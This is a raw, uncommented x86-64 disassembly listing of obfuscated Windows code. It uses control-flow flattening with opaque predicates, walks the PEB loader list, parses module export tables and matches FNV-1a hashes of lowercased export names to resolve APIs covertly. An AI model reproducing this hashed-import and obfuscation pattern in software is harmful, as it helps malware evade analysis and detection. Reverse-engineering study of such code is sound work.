jne 0x14036a230
mov edi, 0x2bd10b98
jmp 0x14036a230
cmp edx, 0x2d12b553
jg 0x14036a2d3
cmp edx, 0xe6aa786e
je 0x14036a2fb
cmp edx, 0x1806efec
je 0x14036a33e
mov edi, edx
cmp edx, 0x2bd10b98
jne 0x14036a230
mov edi, esi
jmp 0x14036a230
cmp edx, 0xb7bc901d
je 0x14036a323
mov edi, eax
cmp edx, 0xc7e4f419
je 0x14036a230
mov edi, edx
cmp edx, 0xe073d505
jne 0x14036a230
mov r10, qword [rbp + 0x190]
mov edi, r13d
jmp 0x14036a230
cmp edx, 0x50ecbf49
je 0x14036a32d
cmp edx, 0x7e9a4a9e
jne 0x14036a35b
mov rcx, qword gs:[0x60]
mov qword [rbp + 0x190], rcx
mov edi, r14d
jmp 0x14036a230
movzx ecx, byte [rbp + 0x158]
cmp byte [rbp + 0x174], 0
mov edx, 0x7e9a4a9e
mov edi, 0x7e9a4a9e
jne 0x14036a221
mov edi, 0xb58a2df5
jmp 0x14036a221
mov edi, 0xa6904a62
jmp 0x14036a230
mov rcx, qword [rbp + 0x190]
mov edi, 0xe073d505
jmp 0x14036a230
mov edi, 0xc7e4f419
jmp 0x14036a230
mov rcx, qword gs:[0x60]
mov edi, 0x7e9a4a9e
jmp 0x14036a230
mov edi, edx
cmp edx, 0x2d12b554
jne 0x14036a230
mov qword [rbp + 0x198], r10
mov rcx, qword [rbp + 0x198]
mov qword [rbp + 0x190], rcx
mov edx, 0x8546b22b
mov r10d, ebx
nop word cs:[rax + rax]
cmp edx, 0x3876635d
je 0x14036a3b2
cmp edx, 0x8546b22b
jne 0x14036a390
mov rcx, qword [rbp + 0x190]
mov rcx, qword [rcx + 0x18]
mov edx, 0x3876635d
jmp 0x14036a390
mov qword [rbp + 0x198], rcx
mov rcx, qword [rbp + 0x198]
add rcx, 0x10
mov qword [rbp + 0x160], rcx
mov edx, r12d
jmp 0x140369f50
mov edx, ecx
cmp ecx, 0xa9b92767
jne 0x140369f50
mov rcx, qword [rbp + 0x188]
mov qword [rbp + 0xe0], rcx
mov ecx, 0x85e56079
jmp 0x140369ed0
mov ecx, dword [rbp + 0x134]
jmp 0x140369ed0
mov rax, qword [rbp + 0xf0]
mov eax, 0xdc650d0d
mov rsp, qword [rbp + 0x88]
jmp 0x140367183
mov cl, byte [rbp + 0x127]
cmp byte [rbp + 0x126], 0
mov eax, 0xc0a9c721
mov edx, 0x62f157ce
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x140367183
mov rax, qword [rbp + 0xf0]
mov rsp, qword [rbp + 0x30]
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0x50], rax
mov eax, dword [0x140ae0930]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf65e0237
mov ecx, 0xcd3ceec2
jmp 0x140367176
cmp eax, 0x1451db43
jne 0x140367183
jmp 0x14036d836
cmp eax, 0x7a0a639a
jne 0x140367183
jmp 0x14036d836
movaps xmm6, xmmword [rbp + 0x1a0]
lea rsp, [rbp + 0x1b8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rax, qword [rbp - 0x38]
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x58], rax
mov eax, dword [0x140ae0930]
mov ecx, dword [0x140ae0934]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x127]
cmp ecx, 0xa
setl byte [rbp + 0x126]
mov eax, 0x8c435fca
jmp 0x14036a50e
mov eax, dword [0x140ae0930]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc0a9c721
mov ecx, 0x75ad9735
cmove eax, ecx
cmp dword [0x140ae0934], 0xa
cmovl eax, ecx
cmp eax, 0xdc650d0c
jg 0x14036a550
cmp eax, 0xc0a9c720
jle 0x14036be50
cmp eax, 0xc0a9c721
je 0x14036be84
cmp eax, 0xc5b26aa3
je 0x14036be8e
cmp eax, 0xcd3ceec2
jne 0x14036a50e
mov eax, 0xb8d9c8bd
jmp 0x14036a50e
cmp eax, 0x62f157cd
jg 0x14036be30
cmp eax, 0xdc650d0d
je 0x14036beac
cmp eax, 0xf65e0237
jne 0x14036d81e
mov qword [rbp + 0x88], rsp
mov eax, 0xfdaaf27
jmp 0x14036a585
mov eax, 0x7e25d310
jmp 0x14036a5d0
mov eax, dword [rbp + 0x15c]
add eax, 0xffffffff
mov dword [rbp + 0x12c], eax
cmp dword [rbp + 0x15c], 0
setne byte [rbp + 0x173]
mov eax, dword [0x140ae8100]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xdfce91c3
mov ecx, 0x31b142dd
cmove eax, ecx
cmp dword [0x140ae8104], 0xa
cmovl eax, ecx
nop word [rax + rax]
cmp eax, 0xfdaaf26
jg 0x14036a630
cmp eax, 0xdfce91c2
jle 0x14036a670
cmp eax, 0xfbaed13e
jle 0x14036a70c
cmp eax, 0x18c9d92
jg 0x14036a932
cmp eax, 0xfbaed13f
je 0x14036aba5
cmp eax, 0xfc3de4fb
jne 0x14036a5d0
mov eax, dword [0x140ae8100]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1e9056d5
mov ecx, 0x38ffed7e
jmp 0x14036a5bd
cmp eax, 0x31b142dc
jle 0x14036a6c0
cmp eax, 0x4ca3889a
jle 0x14036a83c
cmp eax, 0x704c8eec
jg 0x14036a96d
cmp eax, 0x4ca3889b
je 0x14036abaf
cmp eax, 0x55d14e4e
je 0x14036b7e0
jmp 0x14036a5d0
cmp eax, 0xb8886505
jle 0x14036a8b8
cmp eax, 0xc831fa39
jg 0x14036ab78
cmp eax, 0xb8886506
je 0x14036abb9
cmp eax, 0xc329a2b3
jne 0x14036a5d0
mov eax, dword [rbp + 0xc4]
cmp eax, 0xcded1a85
sete byte [rbp + 0x172]
mov eax, 0xe1148b9
jmp 0x14036a5d0
cmp eax, 0x1e9056d4
jg 0x14036a8fb
cmp eax, 0xfdaaf27
je 0x14036adb6
cmp eax, 0x14c956a0
je 0x14036adec
cmp eax, 0x19c143a2
jne 0x14036a5d0
cmp byte [rbp + 0x171], 0
mov eax, 0xfbaed13f
mov ecx, 0x7e25d310
cmovne eax, ecx
mov r14, qword [rbp + 0x110]
jmp 0x14036a5d0
cmp eax, 0xdfce91c3
je 0x14036af96
cmp eax, 0xe3eafbe4
je 0x14036afb8
cmp eax, 0xf40e2635
jne 0x14036a5d0
mov rax, qword [rbp + 0x118]
mov ecx, dword [0x140ae8108]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x140ae810c], 0xa
setl dl
or dl, cl
mov edx, 0x5704dee6
mov ecx, 0x42c6bf2c
cmovne edx, ecx
mov ecx, 0x5704dee6
mov ebx, 0xbb5b4fcd
cmovne ecx, ebx
mov r8, qword [rax + 8]
mov ebx, 0x64fe3025
mov eax, 0x47a989db
cmovne ebx, eax
mov edi, 0x64fe3025
mov eax, 0x3860c77
cmovne edi, eax
mov eax, 0x3c1c4314
jmp 0x14036a7a0
mov rax, qword [rbp + 0x198]
mov eax, 0xbb5b4fcd
nop dword [rax]
cmp eax, 0x42c6bf2b
jg 0x14036a7c0
cmp eax, 0x3860c76
jg 0x14036a7e0
cmp eax, 0xbb5b4fcd
je 0x14036a800
cmp eax, 0xbd215c35
jne 0x14036a7a0
mov eax, ecx
jmp 0x14036a7a0
cmp eax, 0x5704dee5
jle 0x14036a7f2
cmp eax, 0x5704dee6
je 0x14036a791
cmp eax, 0x64fe3025
jne 0x14036a7a0
mov eax, 0x3860c77
jmp 0x14036a7a0
cmp eax, 0x3860c77
je 0x14036a80e
cmp eax, 0x3c1c4314
jne 0x14036a7a0
mov eax, edi
jmp 0x14036a7a0
cmp eax, 0x47a989db
jne 0x14036a819
mov eax, 0xbd215c35
jmp 0x14036a7a0
mov rax, qword [rbp + 0x198]
mov esi, dword [rax + 0x18]
mov eax, edx
jmp 0x14036a7a0
mov qword [rbp + 0x198], r8
mov eax, ebx
jmp 0x14036a7a0
cmp eax, 0x42c6bf2c
jne 0x14036a7a0
mov dword [rbp + 0x190], esi
mov eax, dword [rbp + 0x190]
mov dword [rbp + 0xc8], eax
mov eax, 0x4ca3889b
jmp 0x14036a5d0
cmp eax, 0x31b142dd
je 0x14036b038
cmp eax, 0x38ffed7e
je 0x14036b051
cmp eax, 0x470a4e5f
jne 0x14036a5d0
mov rcx, qword [rbp + 0x118]
mov eax, dword [rbp + 0x12c]
mov rdx, qword [rcx]
mov qword [rbp + 0x188], rdx
mov rcx, qword [rcx + 8]
mov ecx, dword [rcx + 0x20]
mov dword [rbp + 0x178], ecx
mov edx, 0x1693d0f7
nop word cs:[rax + rax]
cmp edx, 0x2d3e5cdb
je 0x14036b06f
cmp edx, 0x1693d0f7
jne 0x14036a890
mov ecx, dword [rbp + 0x178]
add rcx, qword [rbp + 0x188]
mov edx, 0x2d3e5cdb
jmp 0x14036a890
cmp eax, 0xa24d1d27
je 0x14036b6e8
cmp eax, 0xacc95487
je 0x14036b700
cmp eax, 0xb2fd6b3c
jne 0x14036a5d0
mov eax, 0x18c9d93
mov dword [rbp + 0x108], 0
mov rcx, qword [rbp + 0xb0]
mov qword [rbp + 0x98], rcx
jmp 0x14036a5d0
cmp eax, 0x1e9056d5
je 0x14036b72a
cmp eax, 0x2e8fc0cf
je 0x14036b734
cmp eax, 0x2f80c4ea
jne 0x14036a5d0
mov eax, 0xacc95487
mov ecx, dword [rbp + 0xc8]
mov dword [rbp + 0xa8], ecx
jmp 0x14036a5d0
cmp eax, 0x18c9d93
je 0x14036abdb
cmp eax, 0xe1148b9
jne 0x14036a5d0
cmp byte [rbp + 0x172], 0
mov eax, 0xacc95487
mov ecx, 0xe3eafbe4
cmovne eax, ecx
mov ecx, dword [rbp + 0x12c]
mov dword [rbp + 0xa8], ecx
jmp 0x14036a5d0
cmp eax, 0x704c8eed
je 0x14036a587
cmp eax, 0x7e25d310
jne 0x14036a5d0
mov qword [rbp + 0x148], r14
mov rax, qword [rbp + 0x118]
mov qword [rbp + 0x138], rax
mov rax, qword [rbp + 0x138]
mov rax, qword [rbp + 0xe0]
mov r10, qword [rax + 0x30]
mov r8, qword [rbp + 0x118]
mov qword [r8], r10
mov eax, dword [0x140ae8110]
mov ecx, dword [0x140ae8114]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x178]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x188]
or cl, al
mov edx, 0xfe777634
mov eax, 0xda4ed74b
cmovne edx, eax
mov ecx, 0xfe777634
mov eax, 0x14a712fb
cmovne ecx, eax
mov edi, 0x5f40d673
mov eax, 0x958d7ea
cmovne edi, eax
mov ebx, 0xdc2154f5
jmp 0x14036aa20
mov qword [rbp + 0x198], r10
mov ebx, edi
nop dword [rax]
mov eax, ebx
cmp ebx, 0x958d7e9
jle 0x14036aa60
cmp eax, 0x43cf23db
jg 0x14036aa80
cmp eax, 0x958d7ea
je 0x14036aaea
cmp eax, 0x14a712fb
jne 0x14036aaf4
mov rax, qword [rbp + 0x198]
mov r11d, dword [rax + 0x3c]
mov ebx, edx
jmp 0x14036aa20
cmp eax, 0xdc2154f4
jg 0x14036aaa0
cmp eax, 0xb588294a
je 0x14036aa10
mov ebx, eax
cmp eax, 0xda4ed74b
jne 0x14036aa20
mov ebx, 0x9971561
jmp 0x14036aa20
mov ebx, ecx
cmp eax, 0x43cf23dc
je 0x14036aa20
mov ebx, eax
cmp eax, 0x5f40d673
jne 0x14036aa20
mov ebx, 0xb588294a
jmp 0x14036aa20
cmp eax, 0xdc2154f5
je 0x14036aac5
mov ebx, eax
cmp eax, 0xfe777634
jne 0x14036aa20
mov rax, qword [rbp + 0x198]
mov ebx, 0x14a712fb
jmp 0x14036aa20
movzx eax, byte [rbp + 0x178]
cmp byte [rbp + 0x188], 0
mov ebx, 0x5f40d673
mov esi, 0xb588294a
cmovne ebx, esi
test al, al
cmovne ebx, esi
jmp 0x14036aa20
mov ebx, 0x43cf23dc
jmp 0x14036aa20
mov ebx, eax
cmp eax, 0x9971561
jne 0x14036aa20
mov dword [rbp + 0x190], r11d
movsxd rax, dword [rbp + 0x190]
mov ecx, dword [r10 + rax + 0x88]
mov dword [rbp + 0x178], ecx
add rax, r10
add rax, 0x8c
mov qword [rbp + 0x190], rax
mov eax, 0xb4e2a26d
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x6c7afb3a
je 0x14036ac10
cmp eax, 0xb4e2a26d
jne 0x14036ab40
mov rax, qword [rbp + 0x190]
mov eax, dword [rax]
mov dword [rbp + 0x188], eax
mov eax, dword [rbp + 0x178]
add rax, r10
mov qword [rbp + 0x198], rax
mov eax, 0x6c7afb3a
jmp 0x14036ab40
cmp eax, 0xd6b57203
jne 0x14036b7c9
mov eax, 0x2e8fc0cf
mov dword [rbp + 0x10c], 0
mov rcx, qword [rbp + 0x148]
mov qword [rbp + 0xa0], rcx
jmp 0x14036a5d0
mov eax, 0xc831fa3a
jmp 0x14036a5d0
mov eax, 0x2f80c4ea
jmp 0x14036a5d0
mov eax, 0x2e8fc0cf
mov dword [rbp + 0x10c], 1
mov rcx, qword [rbp + 0xe8]
mov qword [rbp + 0xa0], rcx
jmp 0x14036a5d0
mov rax, qword [rbp + 0x98]
mov qword [rbp + 0x110], rax
mov rax, qword [rbp + 0x138]
cmp dword [rbp + 0x108], 0
mov eax, 0xc831fa3a
mov ecx, 0x14c956a0
cmove eax, ecx
mov rcx, qword [rbp + 0x110]
jmp 0x14036a5d0
mov rax, qword [rbp + 0x198]
mov qword [r8 + 8], rax
mov eax, dword [rbp + 0x188]
mov dword [r8 + 0x10], eax
mov rax, qword [rbp + 0x118]
mov ecx, dword [0x140ae8138]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete byte [rbp + 0x188]
mov ecx, dword [0x140ae813c]
sete dl
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x190]
mov r8, qword [rax]
or cl, dl
mov ecx, 0x5ffb31d3
mov edx, 0x1ca53357
cmovne ecx, edx
mov r10, qword [rax + 8]
mov eax, 0x5ffb31d3
mov edx, 0xac60f90c
cmovne eax, edx
mov edi, 0xeeead46
mov edx, 0x3d145519
cmovne edi, edx
mov ebx, 0x9f42beca
jmp 0x14036aca0
mov ebx, 0x1fb628eb
nop word cs:[rax + rax]
nop
mov esi, ebx
cmp ebx, 0x1fb628ea
jg 0x14036ace0
cmp esi, 0xd2cc2d7a
jle 0x14036ad00
cmp esi, 0xeeead46
je 0x14036ad6d
cmp esi, 0x1ca53357
jne 0x14036ad77
mov ebx, 0xd2cc2d7b
jmp 0x14036aca0
cmp esi, 0x3d145518
jg 0x14036ad20
mov ebx, eax
cmp esi, 0x1fb628eb
je 0x14036aca0
mov ebx, esi
cmp esi, 0x349a2816
jne 0x14036aca0
mov ebx, edi
jmp 0x14036aca0
cmp esi, 0x9f42beca
je 0x14036ad44
mov ebx, esi
cmp esi, 0xac60f90c
jne 0x14036aca0
mov ebx, ecx
jmp 0x14036aca0
cmp esi, 0x3d145519
je 0x14036ac8f
mov ebx, esi
cmp esi, 0x5ffb31d3
jne 0x14036aca0
mov ebx, 0xac60f90c
jmp 0x14036aca0
movzx edx, byte [rbp + 0x188]
cmp byte [rbp + 0x190], 0
mov esi, 0x349a2816
mov ebx, 0x349a2816
jne 0x14036ad63
mov ebx, 0xeeead46
test dl, dl
cmovne ebx, esi
jmp 0x14036aca0
mov ebx, 0x349a2816
jmp 0x14036aca0
mov ebx, esi
cmp esi, 0xd2cc2d7b
jne 0x14036aca0
cmp r10, r8
setne byte [rbp + 0x198]
cmp byte [rbp + 0x198], 0
mov eax, 0xb2fd6b3c
mov ecx, 0xf40e2635
cmovne eax, ecx
mov rcx, qword [rbp + 0x148]
mov qword [rbp + 0xb0], rcx
jmp 0x14036a5d0
mov eax, reloc.WLDAP32.dll_Ordinal_32
call fcn.140616310
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x118], rax
lea rax, [rbp + 0xe0]
mov qword [rbp + 0xf0], rax
mov rax, qword [rbp + 0xf0]
mov eax, 0x55d14e4e
jmp 0x14036a5d0
mov eax, dword [0x140ae8118]
lea edx, [rax - 1]
imul edx, eax
mov eax, dword [0x140ae811c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae8120], 0xa
setl cl
or cl, al
mov edi, 0xc34c4d35
mov eax, 0xda384f69
cmovne edi, eax
mov ecx, 0xc34c4d35
mov eax, 0xcef4daed
cmovne ecx, eax
test dl, 1
sete byte [rbp + 0x174]
mov edx, dword [0x140ae8124]
mov ebx, 0x66882932
mov eax, 0x3116d75d
cmove ebx, eax
cmp edx, 0xa
setl byte [rbp + 0x160]
cmovl ebx, eax
mov edx, 0x8beff44c
nop
cmp edx, 0x3116d75c
jle 0x14036ae90
cmp edx, 0x3116d75d
je 0x14036af3f
cmp edx, 0x66882932
je 0x14036af49
cmp edx, 0x6c540096
jne 0x14036ae60
jmp 0x14036b769
cmp edx, 0x8beff44c
je 0x14036af53
cmp edx, 0xed5b005a
je 0x14036af77
cmp edx, 0x15bf159a
jne 0x14036ae60
lea rax, [rbp + 0xe0]
mov qword [rbp + 0x178], rax
mov rax, qword [rbp + 0x178]
mov rax, qword [rax]
mov qword [rbp + 0x190], rax
mov edx, 0xdb406100
nop word cs:[rax + rax]
nop
cmp edx, 0xda384f68
jle 0x14036af20
cmp edx, 0xda384f69
je 0x14036af7e
cmp edx, 0xc5b6513
je 0x14036af34
cmp edx, 0xdb406100
jne 0x14036aee0
mov rax, qword [rbp + 0x190]
mov rax, qword [rax]
mov qword [rbp + 0x198], rax
mov edx, 0xc5b6513
jmp 0x14036aee0
cmp edx, 0xc34c4d35
je 0x14036af38
cmp edx, 0xcef4daed
jne 0x14036aee0
mov edx, edi
jmp 0x14036aee0
mov edx, ecx
jmp 0x14036aee0
mov edx, 0xcef4daed
jmp 0x14036aee0
mov edx, 0x15bf159a
jmp 0x14036ae60
mov edx, 0xed5b005a
jmp 0x14036ae60
mov al, byte [rbp + 0x174]
cmp byte [rbp + 0x160], 0
mov edx, 0x66882932
mov esi, 0xed5b005a
cmovne edx, esi
test al, al
cmovne edx, esi
jmp 0x14036ae60
mov edx, ebx
jmp 0x14036ae60
mov rax, qword [rbp + 0x198]
mov qword [rbp + 0x188], rax
mov edx, 0x6c540096
jmp 0x14036ae60
mov eax, dword [rbp + 0x15c]
mov eax, dword [rbp + 0x15c]
mov eax, dword [rbp + 0x15c]
mov eax, dword [rbp + 0x15c]
mov eax, 0x704c8eed
jmp 0x14036a5d0
mov rcx, qword [rbp + 0x118]
mov eax, dword [rbp + 0x12c]
mov rdx, qword [rcx]
mov qword [rbp + 0x178], rdx
mov rcx, qword [rcx + 8]
mov edx, dword [rcx + 0x1c]
add rdx, qword [rbp + 0x178]
mov qword [rbp + 0x188], rdx
mov ecx, dword [rcx + 0x24]
add rcx, qword [rbp + 0x178]
mov qword [rbp + 0x190], rcx
mov ecx, 0xa7e038c0
nop word [rax + rax]
cmp ecx, 0xa3a28b43
je 0x14036b78b
cmp ecx, 0xa7e038c0
jne 0x14036b000
mov rcx, qword [rbp + 0x190]
movzx ecx, word [rcx + rax*2]
shl rcx, 2
add rcx, qword [rbp + 0x188]
mov qword [rbp + 0x198], rcx
mov ecx, 0xa3a28b43
jmp 0x14036b000
cmp byte [rbp + 0x173], 0
mov eax, 0xd6b57203
mov ecx, 0x470a4e5f
cmovne eax, ecx
jmp 0x14036a5d0
mov eax, dword [0x140ae8100]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1e9056d5
mov ecx, 0x19c143a2
jmp 0x14036a5bd
mov qword [rbp + 0x90], r14
mov qword [rbp + 0x190], rcx
mov qword [rbp + 0x198], rax
mov rax, qword [rbp + 0x190]
mov rcx, qword [rbp + 0x198]
mov eax, dword [rax + rcx*4]
add rax, qword [rbp + 0x188]
mov qword [rbp + 0x78], rax
mov eax, dword [0x140ae8128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae812c], 0xa
setl cl
or cl, al
mov eax, dword [0x140ae8130]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x140ae8134], 0xa
setl dl
or dl, al
mov r8d, 0xa8c1e4bc
mov eax, 0x162d485e
cmovne r8d, eax
mov r13d, 0xa8c1e4bc
mov eax, 0x3bfdfa96
cmovne r13d, eax
mov r10d, 0xcbec2657
mov eax, 0x3d103833
cmovne r10d, eax
mov edx, 0xcbec2657
mov eax, 0x97d6b74c
cmovne edx, eax
test cl, cl
mov r11d, 0x7c4755d
mov eax, 0xb69743ae
cmovne r11d, eax
mov ecx, 0x7c4755d
mov eax, 0xb10b2499
cmovne ecx, eax
mov dword [rbp + 0x80], ecx
mov ecx, 0x803f1b2f
mov eax, 0x1e021d7e
cmovne ecx, eax
mov dword [rbp + 0xd0], ecx
mov ecx, 0x803f1b2f
mov eax, 0xe91aaf98
cmovne ecx, eax
mov dword [rbp + 0xd4], ecx
mov r14d, 0x1779598e
mov eax, 0x163a0f30
cmovne r14d, eax
mov ebx, 0x1779598e
mov eax, 0xd3c21c63
cmovne ebx, eax
mov dword [rbp + 0xcc], ebx
mov ebx, 0x17e69b4a
mov eax, 0x89a14e6f
cmovne ebx, eax
mov dword [rbp + 0xd8], ebx
mov r9d, 0x17e69b4a
mov eax, 0xb3ac832
cmovne r9d, eax
mov ebx, 0xe098d522
mov dword [rbp + 0xdc], r14d
jmp 0x14036b1e0
mov dword [rbp + 0x128], r15d
mov eax, dword [rbp + 0x100]
mov dword [rbp + 0x154], eax
mov rax, qword [rbp + 0xf8]
mov qword [rbp + 0x198], rax
mov ebx, dword [rbp + 0xd4]
nop dword [rax]
mov edi, ebx
cmp ebx, 0x7c4755c
jle 0x14036b470
cmp edi, 0x17e69b49
jle 0x14036b540
cmp edi, 0x473e8a80
jg 0x14036b57c
cmp edi, 0x17e69b4a
je 0x14036b6de
cmp edi, 0x1e021d7e
je 0x14036b647
mov ebx, edi
cmp edi, 0x237bb451
jne 0x14036b1e0
mov dword [rbp + 0x134], r15d
mov dword [rbp + 0x130], esi
mov esi, r11d
movsx r14d, byte [rbp + 0x187]
mov r15d, dword [rbp + 0x154]
mov r11d, 0xd81fc671
jmp 0x14036b270
mov eax, dword [rbp + 0x188]
mov eax, dword [rbp + 0x188]
mov eax, dword [rbp + 0x188]
mov eax, dword [rbp + 0x188]
mov r11d, 0x3bfdfa96
nop dword [rax]
mov eax, r11d
cmp r11d, 0x3bfdfa95
jle 0x14036b2c0
cmp eax, 0x491c42a4
jle 0x14036b320
cmp eax, 0x5ae5fef5
jg 0x14036b35f
cmp eax, 0x491c42a5
je 0x14036b3bb
mov r11d, eax
cmp eax, 0x49f89684
jne 0x14036b270
mov dword [rbp + 0x188], ebx
mov r11d, r13d
jmp 0x14036b270
cmp eax, 0xa8c1e4bb
jle 0x14036b2f0
cmp eax, 0xd81fc670
jg 0x14036b38e
cmp eax, 0xa8c1e4bc
je 0x14036b24f
mov r11d, eax
cmp eax, 0xcbec2657
jne 0x14036b270
mov r11d, 0x97d6b74c
jmp 0x14036b270
mov r11d, edx
cmp eax, 0x857613f4
je 0x14036b270
cmp eax, 0x91fe2f04
je 0x14036b3e7
mov r11d, eax
cmp eax, 0x97d6b74c
jne 0x14036b270
mov r11d, r10d
jmp 0x14036b270
cmp eax, 0x3bfdfa96
je 0x14036b402
cmp eax, 0x3d103833
je 0x14036b419
mov r11d, eax
cmp eax, 0x43d862de
jne 0x14036b270
cmp byte [rbp + 0x16f], 0
mov r11d, 0x5ae5fef6
mov eax, 0x491c42a5
cmovne r11d, eax
jmp 0x14036b270
cmp eax, 0x5ae5fef6
je 0x14036b3d6
mov r11d, eax
cmp eax, 0x73385a14
jne 0x14036b270
mov eax, dword [rbp + 0x174]
or eax, 0x20
mov dword [rbp + 0x160], eax
mov r11d, 0x857613f4
jmp 0x14036b270
cmp eax, 0xd81fc671
jne 0x14036b42a
mov dword [rbp + 0x174], r14d
mov eax, dword [rbp + 0x174]
cmp eax, 0x41
setge byte [rbp + 0x16f]
mov r11d, 0x43d862de
jmp 0x14036b270
mov eax, dword [rbp + 0x174]
cmp eax, 0x5b
setl byte [rbp + 0x16e]
mov r11d, 0x91fe2f04
jmp 0x14036b270
mov r11d, 0x49f89684
mov ebx, dword [rbp + 0x174]
jmp 0x14036b270
cmp byte [rbp + 0x16e], 0
mov r11d, 0x5ae5fef6
mov eax, 0x73385a14
cmovne r11d, eax
jmp 0x14036b270
mov eax, dword [rbp + 0x188]
xor eax, r15d
imul edi, eax, 0x1000193
mov r11d, r8d
jmp 0x14036b270
mov r11d, 0x49f89684
mov ebx, dword [rbp + 0x160]
jmp 0x14036b270
mov r11d, eax
cmp eax, 0x162d485e
jne 0x14036b270
mov dword [rbp + 0x178], edi
mov eax, dword [rbp + 0x178]
mov dword [rbp + 0xc0], eax
mov ebx, 0x91995dcd
mov r11d, esi
mov r14d, dword [rbp + 0xdc]
mov esi, dword [rbp + 0x130]
mov r15d, dword [rbp + 0x134]
jmp 0x14036b1e0
cmp edi, 0xb10b2498
jg 0x14036b4c0
cmp edi, 0x89a14e6e
jle 0x14036b5ad
cmp edi, 0x89a14e6f
je 0x14036b678
cmp edi, 0x8f1ff919
je 0x14036b1b2
mov ebx, edi
cmp edi, 0x91995dcd
jne 0x14036b1e0
mov ebx, dword [rbp + 0x80]
jmp 0x14036b1e0
cmp edi, 0xd3c21c62
jle 0x14036b5e0
mov ebx, r14d
cmp edi, 0xd3c21c63
je 0x14036b1e0
mov ebx, r9d
cmp edi, 0xe098d522
je 0x14036b1e0
mov ebx, edi
cmp edi, 0xe91aaf98
jne 0x14036b1e0
mov rax, qword [rbp + 0x198]
add rax, 1
mov qword [rbp + 0x190], rax
mov rax, qword [rbp + 0x198]
mov al, byte [rax]
mov byte [rbp + 0x187], al
cmp byte [rbp + 0x187], 0
setne byte [rbp + 0x170]
mov ebx, dword [rbp + 0xd0]
jmp 0x14036b1e0
cmp edi, 0xe81cf2c
jle 0x14036b607
cmp edi, 0xe81cf2d
je 0x14036b68c
cmp edi, 0x163a0f30
je 0x14036b628
mov ebx, edi
cmp edi, 0x1779598e
jne 0x14036b1e0
mov ebx, 0xd3c21c63
jmp 0x14036b1e0
cmp edi, 0x4952a100
je 0x14036b6a8
mov ebx, dword [rbp + 0xcc]
cmp edi, 0x574b71b6
je 0x14036b1e0
mov ebx, edi
cmp edi, 0x473e8a81
jne 0x14036b1e0
jmp 0x14036b7ac
cmp edi, 0x803f1b2f
je 0x14036b660
mov ebx, edi
cmp edi, 0x81b25ea0
jne 0x14036b1e0
mov r12d, dword [rbp + 0xc0]
mov ebx, 0x4952a100
xor ecx, ecx
mov esi, dword [rbp + 0x128]
jmp 0x14036b1e0
mov ebx, r11d
cmp edi, 0xb10b2499
je 0x14036b1e0
mov ebx, edi
cmp edi, 0xb69743ae
jne 0x14036b1e0
mov ebx, 0x81b25ea0
jmp 0x14036b1e0
cmp edi, 0x7c4755d
je 0x14036b682
mov ebx, edi
cmp edi, 0xb3ac832
jne 0x14036b1e0
mov ebx, dword [rbp + 0xd8]
jmp 0x14036b1e0
mov ebx, 0x8f1ff919
mov dword [rbp + 0x100], 0x811c9dc5
mov rax, qword [rbp + 0x78]
mov qword [rbp + 0xf8], rax
jmp 0x14036b1e0
cmp byte [rbp + 0x170], 0
mov ebx, 0xe81cf2d
mov eax, 0x237bb451
cmovne ebx, eax
jmp 0x14036b1e0
mov rax, qword [rbp + 0x198]
mov rax, qword [rbp + 0x198]
mov ebx, 0xe91aaf98
jmp 0x14036b1e0
mov ebx, 0x574b71b6
jmp 0x14036b1e0
mov ebx, 0xb10b2499
jmp 0x14036b1e0
mov r12d, dword [rbp + 0x154]
mov ebx, 0x4952a100
mov ecx, 1
mov esi, dword [rbp + 0x154]
jmp 0x14036b1e0
mov dword [rbp + 0x158], esi
test ecx, ecx
mov ebx, 0x473e8a81
mov eax, 0x8f1ff919
cmove ebx, eax
mov rax, qword [rbp + 0x190]
mov qword [rbp + 0xf8], rax
mov r15d, dword [rbp + 0x158]
mov dword [rbp + 0x100], r12d
jmp 0x14036b1e0
mov ebx, 0xb3ac832
jmp 0x14036b1e0
mov rax, qword [rbp + 0x140]
mov qword [rbp + 0xe8], rax
mov eax, 0xb8886506
jmp 0x14036a5d0
mov eax, dword [rbp + 0xa8]
mov dword [rbp + 0x15c], eax
mov eax, dword [0x140ae8100]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xdfce91c3
mov ecx, 0x704c8eed
jmp 0x14036a5bd
mov eax, 0x38ffed7e
jmp 0x14036a5d0
mov edx, dword [rbp + 0x10c]
test edx, edx
mov eax, 0x18c9d93
mov ecx, 0xb2fd6b3c
cmove eax, ecx
mov dword [rbp + 0x108], edx
mov rcx, qword [rbp + 0xa0]
mov qword [rbp + 0x98], rcx
mov qword [rbp + 0xb0], rcx
jmp 0x14036a5d0
mov rax, qword [rbp + 0x178]
mov rcx, qword [rbp + 0x188]
mov qword [rax], rcx
mov byte [rbp + 0x171], 1
mov eax, 0xfc3de4fb
jmp 0x14036a5d0
mov rax, qword [rbp + 0x198]
mov eax, dword [rax]
add rax, qword [rbp + 0x178]
mov qword [rbp + 0x140], rax
mov eax, 0xa24d1d27
jmp 0x14036a5d0
mov eax, dword [rbp + 0x158]
mov dword [rbp + 0xc4], eax
mov eax, 0xc329a2b3
mov r14, qword [rbp + 0x90]
jmp 0x14036a5d0
cmp eax, 0xc831fa3a
jne 0x14036a5d0
